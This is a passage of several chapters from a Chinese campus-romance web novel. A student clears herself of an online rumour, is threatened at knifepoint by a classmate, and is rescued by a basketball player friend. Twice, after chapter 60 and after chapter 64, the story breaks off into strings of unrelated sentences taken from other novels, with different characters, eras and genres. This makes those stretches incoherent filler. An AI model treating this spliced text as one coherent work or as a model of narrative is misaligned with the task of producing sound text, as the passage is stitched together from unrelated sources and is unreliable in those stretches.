孟棠看着他,突然轻笑了声:“我就知道你等了一夜。” 周六,她和魏川逛老富街的时候提了一嘴苏勉,说她周一离开。 魏川没有她的联系方式,只能守株待兔。 承了人家的情,孟棠记在心里,又问:“你昨晚怎么出去的?” 魏川犹犹豫豫还想撒谎,孟棠一眼看穿,让他说实话。 “……翻墙。” “……”孟棠惊了一瞬,“你这是违纪,要是被你们教练知道,免不了一顿责罚。” “我知道。”魏川低声安抚她,“没事的,我避着监控呢,从废弃篮球场那边出去的。” 孟棠沉默几秒,问了她一直想问的话:“你对朋友一直这样热心肠?” 忙前忙后,半夜不顾违纪的风波也要翻出学校的墙头。 他应该是怕苏勉离开Z市。 “谁让我们是朋友呢。”魏川干笑了声,莫名不敢迎上她的眼神,“再说这事跟我确实有点关系。” “跟你没关系。”孟棠不明白他怎么会将这事怪在自己头上,“我不管坐什么车,都不该成为他们造谣的理由。” “嗯,没错。”魏川很高兴她这样想,“我现在挺放心你一个人上课去了。” 孟棠笑了笑:“那我走了?” “嗯,拜拜。” 因为和魏川多聊了几句,孟棠是最后一个到教室的。 刚要踏进门口,她忽然收回了脚。 今天上午是系里大课,人太多,必然会有异样探寻的目光。 孟棠后退一步,转身靠着墙壁。 她垂着头,盯着鞋尖看了好一会儿,缓缓做了个深呼吸。 刚抬脚,辅导员从后面走过来:“你怎么不进去?” 孟棠下意识转了身,有些拘谨地问了好,心里讶异怎么不是教授来上课。 “进去吧。” 孟棠应了声,垂着头进了教室,她故作轻松地挂着浅浅的笑,却不敢对上任何一个人的视线。 忽然,一声熟悉的语调穿透阶梯教室:“孟棠,这里有位置。” 孟棠抬眼望去,谭曦在第三排的过道边给她留了空位。 给了谭曦一个感激的眼神,孟棠绕过前排,在她身边坐下。 辅导员上了讲台,二话不说点了名。 一个不缺后,她没用多媒体,直接掐断一截粉笔,在黑板上,以最传统的方式写下班会主题——当你被谣言选中。 孟棠的心一下被狙中,猛地跳了下。 辅导员静了两秒,说:“说一下,今天下午的班会提前,想必大家应该知道是什么事。” “今天的班会主题是临时换的,我什么准备也没有,想到什么就说什么了。” “一个人解释的力量是微小的,也是最容易被忽视的,我管不了网络上大片的人云亦云,但你们作为我的学生,我有责任保护你们,也有责任教导你们。” “如果你们是被冤枉的,我和学校法务会尽一切力量帮助你们,知道吗?” 一句掷地有声的“知道吗”,让孟棠迅速红了眼眶。 班会开了整整两节课的时间,下课之后,孟棠被辅导员留下了。 “这事你不用太担心,学校已经介入了,就连校长都出面了。” 孟棠一愣,张圆了眼:“校长?” “是啊,我半夜接到校长电话也很意外,按理说,这通电话该是院长打的还差不多,不过院长也知道了这事,让我全权处理。” “校长还说别的了吗?”孟棠很是意外。 辅导员摇了摇头,问:“你之前有没有跟谁有过矛盾?” 孟棠将和张一帆、王觉的摩擦据实已告。 辅导员皱了皱眉:“去年体院招上来不少歪苗啊。” 孟棠急道:“也有不少好苗的。” 辅导员失笑:“你指的是魏川?” 孟棠怔住:“您怎么知道?” 辅导员:“昨夜我看到消息就去了解了这事,我见那车眼熟,问了一圈,有学生说是魏川家的车,后来校长打电话过来,让我早上去门卫那儿拿监控,我才知道魏家插手了这事。” “不过你不用有负担,魏川有比赛在身,不能惹出不好的新闻来,他们急着澄清正好有利于你。” “我甚至庆幸,这件事扯上了魏川,才能让学校更加重视。” 说到这里,辅导员微微倾身,小声说:“他家政商体通吃,没人敢得罪。” 孟棠着实惊讶,所以校长出面,是因为魏家? 除了这个理由,她想不出别的。 “我已经拿到了监控,也保留了一些证据,你不要发声,学校法务部收集全部证据后会用学校官号替你澄清,你可以评论一下。” 孟棠点了点头:“周五晚上我是去万合参加了苏勉大师的交流会,我们有合影,她也答应帮我澄清。” 辅导员说:“那就更好不过了,这下没什么好担心的了,你先去上课,剩下的事我来解决。” “谢谢您。” “应该的,快去上课吧。” 孟棠离开了阶梯教室,心想魏川是真的帮了她大忙。 她拿出手机,想要给他打电话说声谢,特别关注的账号跳出来一条动态,是苏勉发了交流会当晚的合照。 合照中,苏勉在正中间,右边是付寒松和另一位女艺术家,她左边是孟棠,依次挨着的是李寒津。 文案的内容朴实而动人—— 与诸位同行合影于初冬深夜的酒店,这次的交流打破了我对于现在年轻手艺人没有木性的偏见。 匠心纯粹,艺术自明。 几乎同一时间,魏川也发了条动态—— 顺道送朋友去参加交流会,没想到我没红,家里的车“红”了。 他发了十二张照片,三张学校门口的监控,九张迈巴赫的对比图,各个角度都有。 孟棠无端从图片里看出了他的讽刺,好似在说:“睁大你们的狗眼看清楚。” 孟棠蓦然轻笑,手下一动,将魏川设置成了特别关注。 第一卷 第60章 她就是川哥救的那个美 中午回寝后,孟棠特地给苏勉去了电话,表达感谢。 苏勉在电话里鼓励了她两句,还邀请了孟棠为她的处女作作序。 孟棠受宠若惊,不敢应声,苏勉真心请了两遍她才答应,感觉自己飘在了云端。 “什么正好,海钰薇都拒绝了,难道你还能让海钰薇回心转意?”陈雯道。 朱白梦盯着姜倾倾那张精致绝伦的脸,心底衍生出一丝的妒忌,恨不得刮花了这张狐狸精的脸。 双方之间都对彼此不信任,北狄商队一般都是来镇云关交易,而汉人,也是去对汉人敌意不那么强烈的北狄部落开展交易。 士兵走过来,给陈义平和陈擒虎戴上手铐,并搜身没收了他们身上所有的电子设备。 雪儿举着蜡烛,在夫人床旁到处查看,并未觉得什么异样。慕容夫人坐在床上,披了件貂皮大衣,但仍老是觉得背脊发凉。 后来,他们在山上逗留了一个上午,下午的时候她去了演播室排练。正如周燕回说的,不管前世发生了什么,现在他们活在当下,过的也是现在的日子。 眼神调侃过罗非鱼,帝蕾娜也不摆架子,笑呵呵道:“你好,我叫帝蕾娜。 他本就因为高慕容没打电话过来,而觉得有些心烦意乱,刚才被卜惠美勾起的一肚子火,更是无从发泄。 其实不是的,那公寓虽然不是特别好,但对于现在的唐绾绾来说已经算是不错,再说以唐家现在的情况她确实不适合住太好的房子,那个男人的体贴的安排让他不舒服。 倘若公孙开和赵家没有关系,那也就罢了,毕竟来自省城的公孙开哪怕比他还要有钱很多,他也用不着如此谦卑。 喝多了猫尿就是这副德性,人都知道酒醉心明白,看钱富贵这样子要么就是真心话的流露,要么就是借酒装醉。郝然看爹已经面红耳赤了,心里叹了一口气,这不是来给他过生日而是来添堵的。 “世子。”枫影赶着马车而来,于宁蝾面前一停,跳下马车恭然一拜。 鹰六又补充了一下后面的事,秦澈撒完药后,就一路回到了百花楼,鹰六当时也马上跟了过去,和鹰七会合了。 三人商量好要去确认,也不在乎什么天黑天亮的了,立刻倒了金家本部。 “可是,这是太玉皇子。”斗兽场主持敢怒不敢言,这是太玄皇子,身份比起他来说不知高贵到哪里去了,但是他心中还是有所不服,便是反驳道,他以为太玄会顾及太玉皇子的身份,念在手足之间,或许会出言相劝。 只见祭坛当中的闻天听已缓缓踏上一步,高高举起自己的右臂。待到他将右臂放下,祭坛周围的八位“君子”便要随之出手了。 “好好好!”宁蝾摆摆手,不做理会地走到老太君床边,坐在了床边的椅子上。 阳岚儿汗毛都竖起来了,这样平和的环境,在缥缈界是很少看到的,事物反常必为妖。 “爹,我就在您旁边的藤下摘葡萄吃,吃着吃着就觉得头昏,然后,就倒在那儿睡着了,才听到你喊我”郝然编着故事,难为情的说道。 李杏花心里也想着事儿,漫不经心的吃着饭菜,直到郝音说她吃好了要下桌了,李杏花才回过神。 第61章 这种人,离他远点 孟棠朝魏川伸手:“手机给我。” “你等一下。”魏川转头往回跑,“我手机还在包里。” 孟棠看着他匆匆跑回去,又匆匆跑过来。 “给。” 手机已经解了锁,孟棠轻笑着抬头瞥他:“你也不问我拿你手机干什么?” 魏川指尖下意识互相搓着,说:“随便用。” “给你我的新号码。”孟棠低着头输入,“我下午刚去换的。” 魏川一听,拧着眉问:“是不是还有人给你发一些乱七八糟的东西?” 孟棠点了点头:“事情虽然澄清得快,但总有不明白情况的,或者纯粹恶劣的人。” “换了也好,看见总会影响心情。”魏川扫了眼她的号码,“你下午不是有课吗?哪来的时间去办新号码?” 四节课结束,只怕营业厅已经关门了。 “我请假去换的。”孟棠将手机还给他,“还有银行卡的绑定,忙到天黑才回来。” 魏川瞄了眼手机的时间,现在还不到六点半。 他挑了下眉,问孟棠:“你吃饭了没?” 孟棠摇摇头:“我知道你们六点半会去食堂,直接来的训练馆。” 嘴角根本压不住,魏川装模作样地干咳:“所以……我是第一个拿到你新号码的?” “是啊。”孟棠仰头看着他,不明白他笑什么。 卧槽,真的是第一个!魏川扭过脸暗爽,虽然不知道在爽什么。 反正打从心里觉得开心。 孟棠说:“我本来想微信发给你新号码的,但我有事想要问你,就过来了。” 魏川的队友们从训练馆出来,看见他俩挥了挥手:“川哥,我们吃饭去了,要给你带吗?” 魏川看着孟棠,说:“要不你跟我们一起?” “不了不了。”孟棠看着这么多人有压力,“我寝室里有吃的,要不你先去吃饭吧,我晚些时候跟你在手机上聊。” “不用,我让他们带一份过来吧。”魏川朝她挤眉弄眼,“我趁机歇一下,今天被教练练得太狠了。” 魏川转头和队友们挥挥手:“随便带,管饱就行。” 田聿调侃他:“我看你喝水就能饱。” 有情饮水饱。 魏川皱眉,他怎么喝水就能饱了?没听懂,他转头问孟棠:“他说的是什么意思?” 孟棠也摇摇头:“不知道。” 魏川啐了一口“神经”,拉着孟棠在台阶上坐下:“你要跟我说什么?” 孟棠将上午开班会的事跟魏川说了:“辅导员把我留下,说校长半夜给她打电话拿门卫的监控,这件事……是你做的吗?” 魏川有些哭笑不得,他爸动作还挺迅速,虽说他当时急,也不至于半夜让校长给辅导员打电话吧。 “辅导员还说你们家很厉害,没人敢得罪,说我沾了光。” 魏川失笑:“别太夸张,我就是给我爸打了个电话,这种针对女生造的谣,还得越快澄清越好。” 不然越来越多的吃瓜群众,谁知道屏幕后面是人是鬼。 她一个人的力量是微乎其微的,只有调动周遭一切可利用的资源才能让别人忌惮。 从苏勉这一群在专业领域出类拔萃的人出面维护,再到学校依规依法调查处理,迅速应对的策略能对始作俑者起到一定的威慑作用。 “谢谢你。” 训练馆正门前天似大亮,魏川因为孟棠的道歉莫名染上几分无言的羞赧。 他觉得自己并没有做什么,怎么孟棠的语气这么温柔? “还要谢谢泠音她们,对了,我再告诉你一个好消息。”孟棠的眼角眉梢都染上笑意,“你知道苏大师跟我说什么吗?她竟然要让我给她的作品写序,是不是很不可思议?” 确实是个好消息,魏川也为她高兴。 “网上风向怎么样了?”魏川打开手机看了看,挑着几个顺眼的回复了。 他的评论区也有复制粘贴的科普,当看到李寒津的工作室叫“海棠工坊”时,魏川憋不住了,手腕一翻,让孟棠看他的手机: “不是,他怎么叫这个名字?” “这个名字怎么了?”孟棠挑目看他。 “他这不是碰瓷吗?”魏川义愤填膺。 “碰瓷?”孟棠没理解,“碰哪儿了?” 魏川眸中冒火:“还能是哪儿?碰的当然你是窗外的那棵海棠树。” 孟棠:“……” 魏川轻嗤一声,按灭手机,对孟棠说:“这种人,离他远点。” “……”孟棠着实不知道该说什么了,犹豫半晌,问:“你为什么这么讨厌他?” 他每次见李寒津都恨不得扛着炸药包。 就是看他不顺眼,非常讨厌他看孟棠的眼神,仗着和孟棠从小相识,在他面前有意无意透露出的优越感都让他非常不爽。 魏川的眼神沉了一瞬,却在面对孟棠时情绪尽敛,他故意打岔: “说真的,要不你家院里那棵海棠改个名字吧?” 孟棠没时间跟他胡闹,看了眼时间,说:“时间不早了,我先回了,我家那棵海棠树,你想叫什么都行。” 魏川起身,将她往北送了两步,孟棠倒退着和他挥了挥手:“我有空请你吃饭。” 魏川倒是想,但训练太忙,他站在原地说:“别了,没时间。” “有空再说。”孟棠笑着转了身,“我先请我室友吃一顿大餐。” 孟棠有事不喜欢拖,第二天中午拉着室友们出去吃了一顿。 之所以分开请,也是怕魏川尴尬,更怕他又把许鹤清带着。 下午和谭曦忙好了作业,一起吃了晚饭后,孟棠一个人去了木雕工作室。 她也是临时起意,想要给魏川送个生日礼物当做感谢。 时间很紧,雕不了什么复杂的,他的生日在圣诞节,孟棠查过魏川出生那年的农历,他是属狗的。 孟棠眯了眯眼,那就雕个大黄吧,正好之前料子有剩。 她用铅笔在白纸上随手画下图稿,耳朵耷拉,尾巴微翘,不知怎么,她自动代入了魏川,没忍住笑了声。 工作室晚上九点关门,谢泠音打电话过来,请孟棠走楼下超市带卷纸。 孟棠应了声,说自己现在就回。 Z大有不少超市,孟棠打算去女寝19号楼的生活超市。 这段路程比较远,人工湖是必经之地,湖边四周昏暗,灯光寂寥。 晚上太冷,路上一个人都没有。 孟棠刚要穿过这段昏暗的路,寒风吹响枝桠,陡然一道沉沉黑影拦住了她的去路。 第62章 说话啊,有没有受伤 孟棠倒吸一口凉气,那声尖叫因惊吓而堵在喉咙。 她下意识搓着步子后退,歪着头想要将人看清。 对方半晌没动静,孟棠的手缓缓伸进包里。 她紧紧盯着对方,吸引他的注意力:“你是谁?要干什么?” “你能不能让学校不要查造谣的事了?” 王觉? 这个声音是他吧? 碰到刀柄,孟棠一把握住。 “我的事,是你做的?” “我就是鬼迷心窍了。”王觉向前一步,现于斑驳的暗影里,“我真的不是故意的,学校马上就要查到我,我不想跟张一帆落得一个下场。” 孟棠真没见过这么无耻的人。 “你不说话,是不答应吗?”王觉脸色幽幽冷下去,“只要你不追究,我以后绝对会绕着你走,但是……” 话留一半最让人心惊,孟棠紧张吞咽,小心翼翼问:“但是什么?” “但我若是和张一帆一样被退学,我一定不会放过你。” 识时务者为俊杰,孟棠不敢激怒他,试探道:“可是现在已经很晚了,我明天跟辅导员说,行吗?” “不行,你必须现在就给辅导员打电话。”王觉厉声拒绝,大步向前。 “别过来。”孟棠掏出刻刀与他对峙,“你、你别过来。” 王觉看到刻刀那一瞬,猛地停住了脚步。 他眼珠一转,说:“我不过去,但你现在就要打电话跟辅导员说,说你不想再让这件事影响你的学习和生活,让他们停止调查。” “好。”孟棠晃了下刀,“你退后,我拿手机。” 王觉缓缓后退,眸底精光毕现,可昏暗的夜晚,孟棠连他的面容都看不清。 体育生的爆发力强过普通人数倍,就在孟棠的另一只手伸进包里,王觉裹挟着一阵寒风扑过来。 孟棠的手腕被狠狠捏住,尖锐的刻刀调转了方向,对准了她自己。 男女力量的悬殊让孟棠惊慌不已,腕间越收越紧,孟棠骨头被捏得疼,她条件反射弓着腰,小声说了句:“你放开我,我给你打电话行吗?” 王觉的本意也不是伤害孟棠,他只是怕她耍花招,所以必须将人控制在手里。 他将孟棠抵在粗壮到足以覆盖两人身影的树干上,从她手里拿过了刻刀。 孟棠手腕发颤,她轻轻揉了下,从包里拿出手机。 刚把手机亮屏,远处的小道忽然传来追逐的笑闹—— “田聿,你他妈快点。” “卧槽,刚结束训练,你怎么还有这么多精力?” “说要翻墙出去买烧烤的是你,拖后腿的也是你,到底吃不吃了?” 是邵一鸣和田聿,孟棠一喜,刚要求救,被王觉一手捂着嘴,一手拿刀抵着脖颈:“闭嘴。” 王觉因为紧张,没控制好,冰凉的刀锋触到了孟棠的脖颈,吓得她怔愣如木偶。 就连王觉都吓了一跳,颤着手移开了两公分。 颈间的皮肤被浅浅划破了一层,孟棠害怕到忘了疼痛,余光落在王觉发颤的手臂上。 “你、你别抖。”孟棠几乎用气音在提醒。 王觉吞咽了下,警告她:“你闭嘴就行。” 孟棠闭了嘴。 “卧槽,你他妈突然停下来干什么?”田聿捂着撞到的鼻子嗡声质问邵一鸣。 邵一鸣转头问:“川哥呢?” 孟棠一愣,魏川也来了? 田聿:“刚才不还跟着,快给他打电话。” “打什么啊,来了。”魏川跑了过来,“刚才鞋带开了,你俩快点,我给你们放风。” 听到魏川的声音,孟棠的恐惧竟然奇异地被抚平了一瞬,就连脑子也开始转动。 魏川他们买完吃的,不一定原路返回,也就是说,这可能是她唯一一次求救机会。 三个男生,对付王觉是绰绰有余。 但有一点,王觉手上的刻刀,决不能让他伤着他们中的任何一个,不然魏川他们不计较,篮球队的教练也会把她拆了。 在持刀状态中,手腕是相对柔弱的部位。 孟棠一向喜欢背大包,都是随意挎在肩头,她不着痕迹放低肩膀,试图让包包落地。 “教练应该不会来抓吧?” “谁说得准?老贺也挺老奸巨猾的。” “他管得也太严了,比我爹还爹。” “我头一次这么赞同你。” 魏川一人踢了一脚:“少他妈废话,快走。” 听到他们要走,孟棠有些急,肩膀一下放松,沉重的包落地,砸出了闷响。 王觉下意识去看,孟棠抓住机会,猛地以双手钳制住他手腕,大喊:“魏川!” 魏川、田聿和邵一鸣同时回头。 魏川更是头皮一麻,他下意识往回跑,一边跑一边向田聿确认:“是不是孟棠?” 田聿跟孟棠也不熟,但好歹认识,他凛着声说:“很像。” 邵一鸣附和:“我也觉得像,只是这叫声不太对劲。” 不管是谁,既然叫了他名字,都得去看看。 “你他妈耍我。”王觉抡着手臂,几乎将孟棠整个人提起,“放开,快给我放开。” 孟棠知道自己死也不能放,兔子急了还咬人,更别提她已经刺激了王觉。 这把刻刀是她随身携带的,若是伤了人,她难辞其咎。 所以决不能放,孟棠什么也顾不得,一口要在王觉的手上。 王觉痛呼一声,眼睛都红了,他甩不开,握紧拳头狠狠捶向孟棠的后背。 孟棠闷哼一声,呼吸都被砸断了似的,久久吸不到新鲜空气。 她快要撑不住了,王觉的力气太大了。 魏川,魏川……你听到了没有? 王觉知道今晚的事要败,听到去而复返的脚步声,只想逃离这里。 但孟棠不知道发了什么疯,死死抓着他还咬了他。 他发狠再次朝她打去。 “孟棠!”魏川赫然而怒,飞起朝着王觉的腰狠狠踹了一脚。 王觉惨叫一声摔倒在地,挣扎着要逃时,被邵一鸣和田聿一人一脚控制在地上。 “欺负人了还想走?” 刻刀掉在地上,孟棠下意识蹲下去捡起来,直到握住了刀柄,她才狠狠跌坐在地上,全身抖个不停。 “孟棠,孟棠?”魏川又急又慌,抬手掰过她肩膀,“孟棠……看着我,你有没有受伤?说话啊,有没有受伤?” 孟棠脑子发懵,她下意识摸着一旁的包,从里面拿出手机,对着魏川打开了手机灯光。 魏川:“……” 灯光一照,还不显得他青面獠牙。 确实是魏川,他听见了,也回头了。 孟棠再也忍不住,嘴一撇,眼泪像她刻刀下的木屑漱漱而落。 第63章 要不我抱你 身体上的痛抵不过精神上的恐惧,那么硬的木头都能被刻刀驯服,孟棠那么软的皮肉被锋利扫过,害怕是人之常情。 情绪释放,话都说不出来,可急死了旁人。 “你是不是受伤了?还是哪里疼?”魏川借着手机的灯光,将她从头到尾看了一遍。 没有明显的外伤,就是人看着受到了惊吓。 魏川单手扶住孟棠的肩膀,给予无声的安抚。 田聿和邵一鸣心知今晚这顿烧烤是吃不到了,但看个戏也不错。 两人对视一眼,十分没有道德地把王觉当成了凳子。 王觉胸口一堵,张嘴扯开嗓子断断续续地骂。 魏川心里也堵得慌,冷意挂上眉梢,转头喝道:“让他闭嘴,带去门卫处说明情况,我跟孟棠待会儿过去。” 门卫24小时巡逻,那里是最适合安置王觉的地方。 见魏川怒火中烧,田聿和邵一鸣没再嬉皮笑脸,拎着王觉消失在两人的视线里。 魏川转过头,孟棠还在哭,哭声很小,眼泪却越砸越多。 他情不自禁抬起手,抹去凝在她下巴的泪珠。 “别哭了,我不是来了吗,你没事了。” 孟棠抬起头,声音几乎被委屈和恐惧堵住:“我控制不住。” 模样实在可怜,一张脸白惨惨的,让魏川想起那个失控的梦。 梦里他也觉得孟棠白乎乎的唇不好看,流氓地堵上去,给她渡去一层水光的红。 魏川撇开视线,抬手勾住孟棠的后脑勺,缓缓地让她靠在肩头。 “没事了……” 不知道是安慰她,还是安慰自己。 若是孟棠被吓住,没有呼救,魏川不敢想另一种后果。 “你做得很好,孟棠。” 孟棠死死攥着刀柄的手松了松,她在魏川温言细语的安抚下逐渐让惊慌落了地。 不知过了多久,孟棠止住了哭泣,魏川的肩头湿了一片,她尴尬地将人推开,一不小心扯到颈间的伤口,下意识“嘶”了声。 孟棠抬手去摸,魏川一把拦住她:“受伤了?” 孟棠拧着眉,微微偏过头。 魏川看见她衣领上蹭到的血,心一下提了上来:“真的受伤了?” 孟棠小声道:“没事,只是划到了。” 魏川神色一凛,那样锋利的刻刀,即便碰了一下也不轻。 他轻轻捧住孟棠另一侧的下颌,说:“先别动,还没消毒,我看看。” 寒风吹了许久,孟棠因为哭泣,糊了满脸的冰凉,可魏川的手心是滚烫的。 “头歪一下,仰起来。” 孟棠机械的照做,全身唯一的知觉落于他的掌心。 白皙的皮肤划开一道血口,好在并不深,魏川松了口气,说:“消个毒,几天就能好。” 孟棠“嗯”了声:“他紧张碰到的,当时也不疼。” 刀抵在脖子上,谁还记得疼。 魏川视线下移,从她手中拿过刻刀:“给我,很危险。” 孟棠说包里有保护套。 魏川将她的包打开,拿了保护套套上刻刀,说:“我们打球总会碰到,我包里就有消毒的药品,我给你喷一下?” 孟棠点了点头,抬手按住衣领,不自觉伸长了脖颈。 除了殷红的血痕,她靠近锁骨边的侧颈里卧着一颗小小的红痣,刺眼得很。 魏川盯着那颗小痣,从包里翻出碘伏,嘴上温柔:“有点凉,也有点疼,忍一下。” “嗯。”孟棠轻轻应了声。 “呲”一声,分散后成琥珀色的液体喷于伤口处,孟棠肩膀一缩,松开了衣领。 疼可以忍受,就是太凉了。 她看向魏川,撞上一片幽深,孟棠有一瞬的失语,随后轻声问:“你看什么?” 魏川猛地垂头,将碘伏收起来,说: “我让田聿和邵一鸣将王觉送去了门卫,你们辅导员估计马上就到。” 孟棠立刻回应:“那我们也去吧。” 魏川朝她伸手:“我扶你起来。” 孟棠抓住他手腕,起到一半整个人一软,魏川一把将她抱住,面对面的。 孟棠仰起头:“………我腿为什么是软的?” 魏川轻笑:“吓得呗。” 她拽着魏川的衣服,尴尬地说:“你松开我,我扶着树缓一缓。” 魏川跟她开玩笑:“要不我抱你?” “不、不用。”孟棠以为他来真的,红着脸拒绝。 湖边很冷,一阵冷风吹过来,孟棠吸了吸鼻子,打了个冷颤。 魏川将她的帽子拉起来:“挡点风。” 孟棠弓着腰揉了揉腿,其实她浑身最痛的是后背。 一双大手忽然覆住后背,孟棠揉腿的动作一滞。 隔着厚厚的外套,魏川按住没动,他问:“这里被打了?” 孟棠直起腰,小声道:“没事,隔着衣服呢。” “回去让你室友帮你看看。”魏川说。 孟棠点了点头。 莫名其妙的两分钟沉默后,魏川问:“王觉跟你说了什么?” “事情应该是他做的。”孟棠回,“他让我给辅导员打电话,不要再往下查这件事。” 魏川说:“下次一个人别那么晚回寝室。” “学校里还是很安全的。”孟棠稍稍反驳,“我没想到他能在学校就敢这样。” “上次张一帆不也是这样。”魏川有点不满她的警惕心,“学校里只是相对安全。” 孟棠的手机响起,是辅导员打来的电话。 孟棠动了动腿,挂断电话后话锋一转:“我好像可以走了。” 魏川陪着她一道,抵达门卫处时,辅导员将孟棠上上下下看了一遍。 孟棠掩藏了脖颈受伤的情况,毕竟刻刀是她自己带过去的。 辅导员那口气刚松,门口一道吼声传进来: “兔崽子,老子到家屁股还没坐热,一个电话又给我干回来了。” 辅导员嫌弃地皱了皱眉,这人说话也太粗鲁了。 不过她脸上扬起笑脸:“贺教练,今晚他们三个救了我学生,也算将功补过吧。” 贺教练转头将孟棠打量了一遍:“又是你?” 孟棠干笑了声,她要被贺教练拉入黑名单了。 时间太晚了,辅导员说: “好了,这件事情明天会有具体的处理章程,我的学生我带走了,你的学生你带走。” 田聿生怕被教练虐,硬着头皮哈哈一笑:“要不一起回寝吧。” 贺教练皮笑肉不笑:“去操场跑两圈,过了门禁,我亲自送你们回寝室。” 田聿哀嚎:“教练。” “叫爹也没用,救人归救人,至于救人之前,你们想去干什么,你自己知道。” “教练。” “四圈。” 魏川一把拦住田聿:“不想加倍,赶紧闭嘴。” 魏川无所谓跑步,他难得顺着教练一次,跟在他后头出了门卫处,低头给谢泠音发了条短信。 第一卷 第64章 我生日,你来不来 孟棠被辅导员亲自送回了寝室,不过她没上去,只是和宿管阿姨说了声。 告别辅导员,孟棠的腰背一下塌了,太疼了,应该淤青了。 “非也,非也。乃是为了押韵罢了。”好湿,薛仁贵也是满了尴尬,显然是污了。 嗡的一声,不像砸在人的身上,倒像是灵天寺里,唤起僧众做早课的晨钟声。大和尚肩上金光一闪,这条棍影从侧面滑开。 一年后,南无乡在一块平整的石头上打坐,在其身旁,盘着一条三尺左右的蛟龙,正愣头愣脑的看着满身金光的南无乡。此时蛟龙不但体型长了一点。阳光下鳞甲俨然,熠熠生辉,已是初具蛟龙之样了。 几日后,轩辕澈带领的援军来了,而北冥寒轩也留在了慕容倾冉身边,只不过,不再装扮成络腮胡的模样,同天门的杀手一样,带着黑色的面具,身穿黑色的劲装,透着一股神秘,时刻的跟在慕容倾冉身边。 慕容倾苒白了他一眼,这古人就是呆板,不脱去这繁琐的衣袍,我怎么放开手来画图? 和平常一样,陆奇总吃到珍兽们分享的食物,这几天相处下来,陆奇也慢慢的变得自然一些,也认识不少的朋友。 高台下先是一静,然后响起低低的议论声,似乎都在观望着谁会站出来。 而且骁果右军将士对杨浩所表现出来的尊敬,更是让他大吃一惊。 “嘻嘻!”听着陆奇的夸赞,陆露修炼时沉闷的内心,一下子舒服了许多。 “太后说就按照洛姑娘的意思办吧!”莫木兰看了一眼洛凝这才说道。 “二宝,怎么了?怎么哭了,来爹抱抱。”南笙宫邪听到二宝哭,赶紧的过来,将他从椅子上抱起来哄他。 而见叶谦到来,厂房最里面,一个俏丽的身影是跑了几步向前,一直冲到了叶谦的面前。 她微微垂下眼眸,心中思索着,若是云倾的儿子也想她这般性格开朗,那与琬儿那清冷的性子或许可以中和一下。她不求别的,只求琬儿下半辈子嫁得好,笑口常开。 “上刀山!上刀山!”围观的看客们纷纷欢呼起来,那男子缓缓地攀爬着,赤着双脚踩在尖刀上,也不见他脚下出血,众人都止住了呼吸,有的人双手交叠在胸口上,似乎眼前的一切令他们震惊不已。 另一处的烽寂悬浮在空中,见袂央从高空之下急急下坠,竟是立马单手一挥,只听一声清啸,一只巨大的白凤凰从远处飞来,正好接住了从高空下落的袂央。 “收拾好了。”景如画不需要收拾,衣服是发的,床上用品也是发的,除了洗簌用品,她真的没什么可收拾的。 “爹爹,你来找锦儿了,锦儿就知道爹爹一定会来找我的。”戚素锦高兴的犹如孩童一般紧紧的搂住戚洪。 宜宁就什么都看不见了。随着红色晃动,她感觉到自己在一片坚实的背上,他步履平稳地背着她。 容珏趴在床榻之上,背上血肉狰狞,因为长途奔波的缘故,已经隐隐有些发炎。他面色惨白如纸,却始终紧咬牙关,跟个没事人似的。 此番,是有人打着他的名义召集天下的医者,他不得已才现身的。 第65章 恶作剧成功 手机响了声,孟棠按亮屏幕,是魏川发来的酒店名字。 “松云山庄。”孟棠嘀咕了声,转头问本地人杨可,“是什么地方?” 杨可靠向椅背,歪头告诉孟棠:“有钱人去的地方。” 谢泠音失笑:“那明天晚上,魏川可就破费了。” “人家还特地关照了,不用送礼物。”石岚也觉得不好意思了,“敢情咱就白吃白喝去啊?” “有没有可能人家啥也不缺。”杨可说,“咱几个凑一起买的东西估计都没魏川的鞋子贵。” 相比普通人,她们的条件都还可以,但和魏川比起来,够不着人家膝盖。 谢泠音给她俩使了个眼色:“咱不是有孟棠嘛,她的礼物比什么都强。” 石岚和杨可互相拖着尾音“哦”了声。 怎么扯上她了?孟棠将木盒扣上,转过来的脸上尽是疑惑:“你俩起什么哄啊?” 杨可和石岚装傻:“没起哄啊。” 谢泠音打岔:“东西装好了?” 孟棠点了点头,魏川特地说明不要送礼物,是怕谢泠音破费,可惜啊,她们都不懂。 自以为很懂的孟棠低头向魏川要了松云山庄的地址。 魏川发了条语音过来:“晚上六点左右,我去接你们,让他们男生搭地铁去了。” 他本来是想让秦渊带几辆车过来一起接走,但这段时间,因为王家人,Z大频频受到外界的关注,魏川和朋友们商量后,还是觉得低调出行。 女生可能会化妆什么的,五六点是下班高峰期,就由魏川去接。 语音一扩,谢泠音笑眯眯道:“哎呦,好体贴。” 孟棠见她语调都变了,问了句:“你喜欢?” 谢泠音意味深长地笑:“谁不喜欢啊。” 喜欢就好,孟棠挣了下眉。 周四下午,上完篮球课,石岚拉着孟棠回寝室捯饬,理由十分充足: “校队的那群男生肯定也去,邵一鸣和田聿还单着呢。” 孟棠任由她拉着自己:“魏川的室友梁衡也单着,你怎么不提他?” “算了吧。“石岚说,“他看着就像少根筋。” 形容到位,孟棠失笑:“急什么啊,四点还不到。” 石岚哼道:“跟你们这种天生丽质的没法比。” 回了寝室,见谢泠音未施粉黛,孟棠问:“你不化妆吗?” 谢泠音故作玩笑:“我可不敢抢你们风头。” 说着,她眸底划过一抹微亮,将孟棠按坐在凳子上: “我给你化妆吧。” “不、不用了。”孟棠的化妆技术仅限于涂一层素颜霜。 她整日跟木头为伍,手上不能涂些乱七八糟的东西。 一则手滑握不住刀,二则化妆品里的某些成分会侵染木头。 “别躲。”谢泠音一把捏住孟棠的下巴,“今晚不是什么正式的场合,化个淡妆表示尊重就好。” 孟棠后仰着头:“那你怎么不化?” “谁说我不化了?”谢泠音示意她抬头,“我这不是在等你嘛。” 孟棠被谢泠音按着动弹不了,说:“别给我贴假睫毛了,我不喜欢。” “好。” 两个小时,一切就绪。 石岚忍着要摸上去的冲动,对孟棠说:“你皮肤是真好。” 孟棠扬起手:“都说手是女人的第二张脸,我的手是不能看的,只能从第一张脸上找找自信。” “少来。”石岚笑道,“问看看魏川,我们要不要下楼。” 话音刚出,魏川打来了电话。 孟棠背上包,说:“他到楼下了,走吧。” 天色已经昏暗,女寝楼下的路灯泛着莹润的光泽。 照得孟棠化了妆的五官更加立体,她平日里素面朝天,魏川哪见过她这样精致的时候,一时看定了。 孟棠怀疑地往谢泠音她们那儿望了一眼,见魏川只盯着自己,默默拉上围巾网上挡了挡。 她化妆难道很丑吗? 谢泠音见有些人已经呆了,干咳一声提醒:“走吗?” 